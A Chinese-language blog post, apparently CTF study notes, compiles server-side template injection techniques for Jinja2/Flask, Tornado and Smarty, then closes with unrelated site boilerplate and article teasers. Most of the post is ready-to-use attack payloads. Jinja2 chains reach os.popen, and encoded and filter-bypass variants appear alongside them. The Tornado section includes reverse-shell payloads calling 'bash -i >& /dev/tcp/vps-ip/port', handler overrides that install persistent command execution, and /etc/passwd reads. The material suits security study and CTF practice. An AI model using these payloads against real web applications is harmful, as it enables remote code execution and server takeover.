SSTI注入利用姿势合集

文章目录

  • 前言
  • SSTI模板注入原理?
  • 关于Python的类知识
  • 构造链的思路
  • Jinjia2
    • 获取配置信息
    • lipsum
    • request
    • url_for
    • get_flashed_messages
    • g对象
  • Jinjia2 Bypass
    • `.`绕过
    • 引号绕过
    • `_`绕过
    • `init`过滤
    • [ ]被过滤
  • 羊城杯2023[决赛] SSTI
  • 2020XCTF 华为专项赛
  • Tornado
    • 通用手法
    • `tornado.template`的特性
    • Request特性
    • Handler
  • Smarty


前言

曾经多多少少有看过一点SSTI注入,虽然有很多场比赛都栽过在这个题的手里,但是一直都没有重视他,导致这次比赛又再次栽在了这道题上面。既然如此,那就系统的去总结和理解它的方式和一些绕过姿势,收藏一些trick和学着去造一些trick。

SSTI模板注入原理?

SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。

关于Python的类知识

  1. __class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。

    s = [1, 2, 3]
    print(s.__class__)
    s = 'abc'
    print(s.__class__)
    s = {'Aiwin': 1}
    print(s.__class__)
    s = ({'Aiwin': 1}, [1, 2, 3])
    print(s.__class__)输出:
    <class 'list'>
    <class 'str'>
    <class 'dict'>
    <class 'tuple'>
    
  2. __bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。

s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__) #显示类和基类
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
  1. __subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()for i in k:print(i)输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>

得到object类,获取特定的子类,从而通过子类调用里面的方法达到命令执行的效果。比如<class ‘os._wrap_close’>可以调用os.popen()等方法。

  1. __dict__返回数据类型的属性和方法,要注意的是部分数据类型不存在__dict__方法,会报错,通过它可以进行拼接绕过某些过滤。

    import osos.__dict__['s'+'ystem']('whoami')
    
  2. __init__用于初始化类,为了得到function或者method方法

    class Person(object):def __init__(self, name):self.name = name
    print(Person.__init__)#<function Person.__init__ at 0x0000021058FF0280>
    
  3. __globals__以字典的类型返回当前位置的全部模块,配合__init__使用,主要是为了获取builtins方法,如果这个关键字被过滤了,可以使用__getattribute__

    class Person(object):def __init__(self, name):self.name = name
    print(Person.__init__.__globals__)
    print(Person.__init__.__getattribute__('__global'+'s__'))
  4. __builtins__是一个内建模块(又可以叫做内奸命名空间),通过它可以直接不使用import就可以调用很多函数,在SSTI注入中是一把好手,里面有很多好东西。

    __builtins__.__dict__['__import__']('os').system('whoami')
    

构造链的思路

通过以上的python的类的知识,可以看出构造链的思路大概可以分成两种,一种是不断的通过获取内置类获取对应的类从而获取到一些能够进行命令执行如os、subprocess的模块,另一种是获取builtins通过内建函数直接调用进行命令执行。

  1. 使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

    也可以看源代码的flask的内置类,例如session,request,config,self等

    >>> ''.__class__
    <class 'str'>
    >>> [].__class__
    <class 'list'>
    >>> ().__class__
    <class 'tuple'>
    >>> {}.__class__
    <class 'dict'>
    >>> "".__class__
    <class 'str'>
    
  2. 获取到上一层类的object基类

    ''.__class__.__bases__[0]  #__bases__字符类的基类获取到的是一个元组,__base__获取到是一个类
    ''.__class__.__mro__[1]
    [].__class__.__base__
    [].__class__.__mro__[1]
    
  3. 通过__subclasses__()拿到所有的子类列表,然后从子类列表中选择能够使用的类。

    ''.__class__.__bases__[0].__subclasses__()
    [].__class__.__bases__.__subclasses__()
    
  4. 从子类列表中寻找可以getshell的类,可以遍历所有的子类,寻找对应类中的方法来确认,如要寻找popen。

    search = 'popen'
    num  = -1
    for i in ().__class__.__base__.__subclasses__():num += 1try:if search in i.__init__.__globals__.keys():print(num, i)except:pass#输出:
    #134 <class 'os._wrap_close'>
    #135 <class 'os._AddedDllDirectory'>

    因此可以完成整条链的调用

    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))print("".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__import__']('os').popen('whoami').read())'''包含__import__方法的类
    80 <class '_frozen_importlib._ModuleLock'>
    81 <class '_frozen_importlib._DummyModuleLock'>
    82 <class '_frozen_importlib._ModuleLockManager'>
    83 <class '_frozen_importlib.ModuleSpec'>
    '''

Jinjia2

jinjia2是Flask框架中一个流行的模板引擎,使得Web系统能够将特定的数据源组合渲染到页面中,呈现动态页面的效果,同样,也是CTF中的常客了,以下是jinjia2的使用文档。

Jinjia2使用文档

以下是一些jinjia2中内置的函数变量,可用于制造SSTI的链子。

获取配置信息

jinjia2可以通过{{config}}的方式来查询配置信息,它的基础类是可以是很多,主要看config的设置环境如属于jinja2.runtime.Context,如果环境中未定义config则会属于jinja2.runtime.undefined,通过这个类我们可以快速从它的globals变量中找到os__import__等方法,从而快速达到命令执行。

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #注意这里的globals中不一定存在os,要视具体情况定
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} #注意config直接__globals__为空

lipsum

通过是jinjia2模板引擎中用于占位文本生成器,用于在模板中生成随机的演示文本,通过它的全局类也能够获取到大量能够用于命令执行的函数。

file

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

request

从意思上了解,就是flask中代表当前请求的request对象,通过这个请求对象可以查询配置信息,构造出SSTI所需的类,还可以构造出SSTI所需的一些符号,详细在下面绕过的时候说。

{{request.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

url_for

url_for会根据传入的路由器函数名,返回该路由对应的URL

{{url_for.__globals__['current_app'].config}} #获取配置信息
{{url_for.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

get_flashed_messages

get_flashed_messages 是一个用于获取闪存消息的函数。闪存消息是一种特殊类型的消息,用于在请求之间传递信息。它通常用于在重定向或页面刷新后向用户显示一次性的提示或通知

{{get_flashed_messages.__globals__['current_app'].config}} #查看配置信息
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

g对象

在Flask框架中,g对象是一个上下文全局变量,它是一个在视图函数之间共享数据的地方。它可用于存储在同一请求周期内的数据,比如数据库连接、用户信息等。在每个请求中,g对象在视图函数之间被共享,但是在不同的请求之间是不共享的。通过g对象同样也可以寻找了builtins达到getshell的效果。这里需要注意的是g对象有时候会报undefined的错误,如在以下两种不同代码使用不同的模板渲染返回中会存在不一样的情况。

	 name = request.args.get('name', 'CTFer')#在这种形式的渲染返回中无法使用g变量,会显示undefinedt = Template("hello " + name)  return t.render()name = request.args.get('name', 'CTFer')  #这种形式渲染返回g变量是正常的template=f"""Hello,{name}"""return render_template_string(template)
{{g["pop"].__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

Jinjia2 Bypass

.绕过

  1. .绕过,可以使用attr方法或直接使用[]拼接获取到属性的基础类和各种方法,从而绕过.

file

lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() #使用[]绕过{{lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('whoami')|attr('read')()}} #使用attr绕过{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}}

引号绕过

要绕过引号(包括单引号,双引号)大概有两种思路:

  1. 寻找不需要引号的SSTI注入语句,引号的作用主要是最后在命令执行如导入os和执行对应命令需要使用,还记得request变量,表示请求中的变量,可以直接使用它来代替一些命令。

    {{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=whoami  {{lipsum.__globals__.__builtins__.__import__(request.args.a)[request.args.b](request.args.c).read()}}&a=os&b=popen&c=whoami&d=read#以下的request变量的参数都是可以使用的
    #request.args.name
    #request.values.name
    #request.cookies.name
    #request.headers.name
    #request.form.name
  2. 通过一些方法制造出引号这个字符,比如chr()这个函数,通过list将类名分割得到引号,制造%通过urldecode制造任意字符等,其实引号能造出的方式挺多的,比如以下:

    {%set chr=g|lower|list|batch(13)|list|first|last%}{{chr}}#直接造出'{% set chr=lipsum|lower|list|first|urlencode|first %} #造出%
    {%set c=dict(c=0).keys()|reverse|first%}  #造出c
    {%set url=dict(a=chr,c=c).values()|join %} #造出%c
    {%set url2=url|format(39)%}{{url2}} #通过%c|format的形式即可造出任意字符
    #通过造chr函数
    {%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}

实在不知道chr在哪里,可以跑一下看看,其实很多类都有。

在这里插入图片描述

说这么多,奉上两个payload吧

{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.__import__(chr(111)~chr(115))[chr(112)~chr(111)~chr(112)~chr(101)~chr(110)](chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105)).read()}}  #通过chr造字符{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(39)%}{%set o=url|format(111)%}  {%set s=url|format(115)%} {%set p=url|format(112)%} {%set e=url|format(101)%} {%set n=url|format(110)%} {%set w=url|format(119)%} {%set h=url|format(104)%} {%set a=url|format(97)%} {%set m=url|format(109)%} {%set i=url|format(105)%}
{%set os=o~s|string%}{%set popen=p~o~p~e~n|string%}{% set whoami=w~h~o~a~m~i %}
{%print(lipsum.__globals__.__builtins__.__import__(os)[popen](whoami).read())%}  #通过%c的形式造任何字符,注意这里根本不需要造引号,因为flask在处理的时候会自动加上引号当成字符处理。

_绕过

_绕过的思路大同小异,一种是通过编码绕过,一种是造出_,毕竟前面我们已经能造出任何字符了,当然也可以通过其它形式来造出_ ,因为下划线相对于引号还是出现的比较频繁的,还有一种也是request的形式,通过request得到_

  1. 编码绕过
# 转十六进制
def tohex(string):for i in string:print("\\x{:0x}".format(ord(i)), end="")print()# 转八进制
def tooct(string):for i in string:print("\\{:0o}".format(ord(i)), end="")print()# 转unicode
def touni(string):for i in string:print("\\u00{:0x}".format(ord(i)), end="")print()string1 = "" #要编码的字符串
tohex(string1)
tooct(string1)
touni(string1)
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[134]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['popen']('whoami').read()}} #十六进制{{""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[134]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['popen']('whoami').read()}} #unicode编码{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[134]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['popen']('whoami').read()}} #八进制
  1. request绕过

    {{""[request.args.a][request.args.b][request.args.c]()[134][request.args.d][request.args.e]['popen']('whoami').read()}}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__
    
  2. _进行绕过

{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(95)%}{%set class=url2*2~'class'~url2*2%}
{%set base=url2*2~'base'~url2*2%}{%set sub=url2*2~'subclasses'~url2*2%}{%set init=url2*2~'init'~url2*2%}{%set glo=url2*2~'globals'~url2*2%}{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}{% set chr=lipsum|string|list|batch(19)|list|first|last%}{%set class=[chr*2,'class',chr*2]|join%}{%set sub=[chr*2,'subclasses',chr*2]|join%}{%set base=[chr*2,'base',chr*2]|join%}{%set init=[chr*2,'init',chr*2]|join%}{%set glo=[chr*2,'globals',chr*2]|join%}
{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}

init过滤

__init__是用于初始化的方法,可以使用其它方法代替,如__enter____exit__

{{"".__class__.__base__.__subclasses__()[134].__enter__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[134].__exit__.__globals__['popen']('whoami').read()}}

[ ]被过滤

因为[]并不是必须的,因为过滤了[]可以往不用[]那边想,因为.__的形式就不需要使用[],如以下:

{{().__class__.__base__.__subclasses__().pop(134).__init__.__globals__.popen('whoami').read()}} #通过pop来选择类{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(134).__init__.__globals__.popen('whoami').read()}} #通过getitem选择类{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}} #通过attr来绕过

羊城杯2023[决赛] SSTI

题目如下,过滤的东西其实挺多的,过滤了下划线、花括号、点号、十六进制、八进制,空格等,虽然看上去过滤了很多的东西,但是依旧是可以缺什么造什么把它造出来,过滤了.我们可以使用[]+可以使用~进行连接,下划线可以使用造字符串的形式。

from flask import Flask, request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello " + name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0", port=5000)

以下是自己造的解题的一些payload:

{%print(""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[137]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\40\57\146\154\141\147")["\162\145\141\144"]())%}  #通过八进制直接绕{%print(((lipsum[(lipsum|escape|batch(22)|list|first|last)*2~"g""lobals"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"builtins"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"import"~(lipsum|escape|batch(22)|list|first|last)*2]("os")["p""open"](("c"~"a"~"t"~((dict|trim|list)[6])~"/fla"~"g")))["read"]()))%}  #通过造下划线和造空格来绕过

2020XCTF 华为专项赛

过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get等字符,同样可以通过attr+八进制的形式进行绕过。

{%print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\56\57\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51"))%}

Tornado

官方文档:https://www.osgeo.cn/tornado/

Tornado框架也被称为龙卷风框架,是另一个基于 Python 的开源 Web 框架和异步网络库。它被设计用于构建高性能、可扩展的网络应用程序。Tornado 的核心特性是异步非阻塞的 I/O 操作,利用事件循环来实现高效的并发处理。

当出现与Flask相同的动态渲染方法时,也存在SSTI注入的问题,比如如下代码:

        data = self.get_argument("ssti")    with open('1.html', 'w') as f:f.write(f"""{data}""")f.flush()self.render('1.html')

通用手法

Tornado既然是基于Python的一门开发框架,所以基于Python语言的SSTI注入都是适用的,比如

{{ __import__("os").system("whoami") }}
{% raw __import__("os").system("whoami") %}
{{eval('__import__("os").popen("ls").read()')}}
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#等等

tornado.template的特性

在Tornado使用template方法读取模板进行渲染时,会将模板转化为代码的形式,然后将模板中的代码执行后最后进行渲染,在执行Python代码的过程中,会存在接收变量、存储临时变量等的函数,比如说_tt_execute()方法中的代码的:

def _tt_execute(): _tt_buffer = []_tt_append = _tt_buffer.append _tt_tmp = print(__loader__.get_source(1)) if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) else: _tt_tmp = _tt_utf8(str(_tt_tmp)) _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) _tt_append(_tt_tmp)return _tt_utf8('').join(_tt_buffer) 

这段代码可以将模板中的变量和表达式转化为Python代码并执行,而在代码中可以发现_tt_utf8(_tt_tmp) 类似的拼接形式,加入我们可以控制两个变量,就存在命令执行的效果,_tt_tmp是用于存储模板中的表达式的,因此我们可以通过set方法将_tt_utf8设置为命令执行的函数,后传入命令执行的表达式进行shell。

{% set _tt_utf8 = __import__("os").system %}{{"whoami"}}{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}{% set _tt_utf8 =eval %}{% raw '__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")' %}

Request特性

这个request特性与flask的特性是一样的,用于存储请求的各种方法、变量等,可以使用它的特性绕过不少的东西。

request.method: 获取 HTTP 请求的方法,如 GET、POST、PUT、DELETE 等。
request.uri: 获取完整的请求 URI,包括路径、查询参数和锚点。
request.path: 获取请求的路径部分,不包括查询参数和锚点。
request.query: 获取请求的查询参数部分,以字典形式返回。
request.body: 获取请求的主体内容,通常用于 POST、PUT 请求。
request.headers: 获取请求的 HTTP 头部,以字典形式返回。
request.cookies: 获取请求中的所有 Cookie,以字典形式返回。

比如说以上的过滤了() __等,可以通过request接收绕过,当然同样也是接受进制绕过的:

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'"){% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'#构造了一个 HTTP 响应头部,其中包含了一个 CMD 字段,该字段的值为执行命令的结果。最后,将构造好的响应头部字符串通过 request.connection.write() 方法写入 HTTP 响应中。

Handler

在 Tornado Web 框架中,Handler 是负责处理客户端请求的组件。Handler 接收来自客户端的请求,执行相应的操作,并返回响应给客户端

可以通过handler来查看Tornado中的许多敏感信息,

handler.application 整个Tornado实例
handler.application.add_handlers  增加服务处理逻辑
handler.application.settting 查看实例的配置
handler.prepare():在准备处理请求时执行的函数## 等等

Tornado遇到的毕竟毕竟少,附上Tornado多种payload。

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}2、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}3.request绕过
{{eval(handler.get_argument(request.method))}}?GET=__import__("os").popen("ls").read()4.利用{% autoescape %}
{% autoescape __import__("os").system %}{{"id"}}
{% autoescape __import__("os").system("id") %}{{0}}
{% autoescape (lambda x: __import__("os").popen("id").read()) %}{{0}}
{% autoescape (lambda: __import__("os").popen("id").read())()) 
{% autoescape (lambda: __import__("os").popen("id").read())())\n ( %}{{0}}5. 利用while
{% while __import__("os").system("id") %}{%end%}
{% while 1: return __import__("os").popen("id").read() #\n while 1\n%}{%end%}6. 通过handler
{%raw handler.prepare = lambda x: x.write(str(eval(x.get_query_argument("cmd", "id"))))%}{%raw handler.__class__._handle_request_exception=lambda x,y:[x.write((str(eval(x.get_query_argument("cmd","id")))).encode()),x.finish()][0]%} #覆盖异常处理{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}

Tornado参考文章:https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado

Smarty

a{*comment*}b #输出ab 确定smarty
{$smarty.version}  #获取smarty的版本号
{php}phpinfo();{/php}  #执行相应的php代码
{literal}alert('xss');{/literal}
{if phpinfo()}{/if}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/107752.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js dispatchEvent派发自定义事件

低版本IE浏览器不兼容 dispatchEvent使用 在标准浏览器提供了元素触发自定义事件的方法 element.dispatchEvent()&#xff0c;就是说&#xff0c;我们可以不用在DOM上点击按钮触发事件&#xff0c;在代码里通过 dispatchEvent&#xff08;&#xff09;就能触发事件。如下&…

NZ系列工具NZ03:利用右键进行筛选操作

【分享成果&#xff0c;随喜正能量】生活就是这样&#xff0c;别人看的是结果&#xff0c;而自己撑的却是整个过程。曾经的微笑&#xff0c;是一种心情&#xff0c;现在的微笑&#xff0c;只不过是一种表情。如果情绪不能用言语说出来&#xff0c;那就去吹吹风吧。。 我的教程…

RobotFrameWork自动化测试环境搭建

前言 Robot Framework是一款python编写的功能自动化测试框架。具备良好的可扩展性&#xff0c;支持关键字驱动&#xff0c;可以同时测试多种类型的客户端或者接口&#xff0c;可以进行分布式测试执行。主要用于轮次很多的验收测试和验收测试驱动开发&#xff08;ATDD&#xff0…

蓝桥杯打卡Day7

文章目录 阶乘的末尾0整除问题 一、阶乘的末尾0IO链接 本题思路&#xff1a;由于本题需要求阶乘的末尾0&#xff0c;由于我们知道2*510可以得到一个0&#xff0c;那么我们就可以找出2的数和5的数&#xff0c;但是由于是阶乘&#xff0c;所以5的数量肯定是小于2的数量&#xf…

企业网络革命:连接和访问的智慧选项

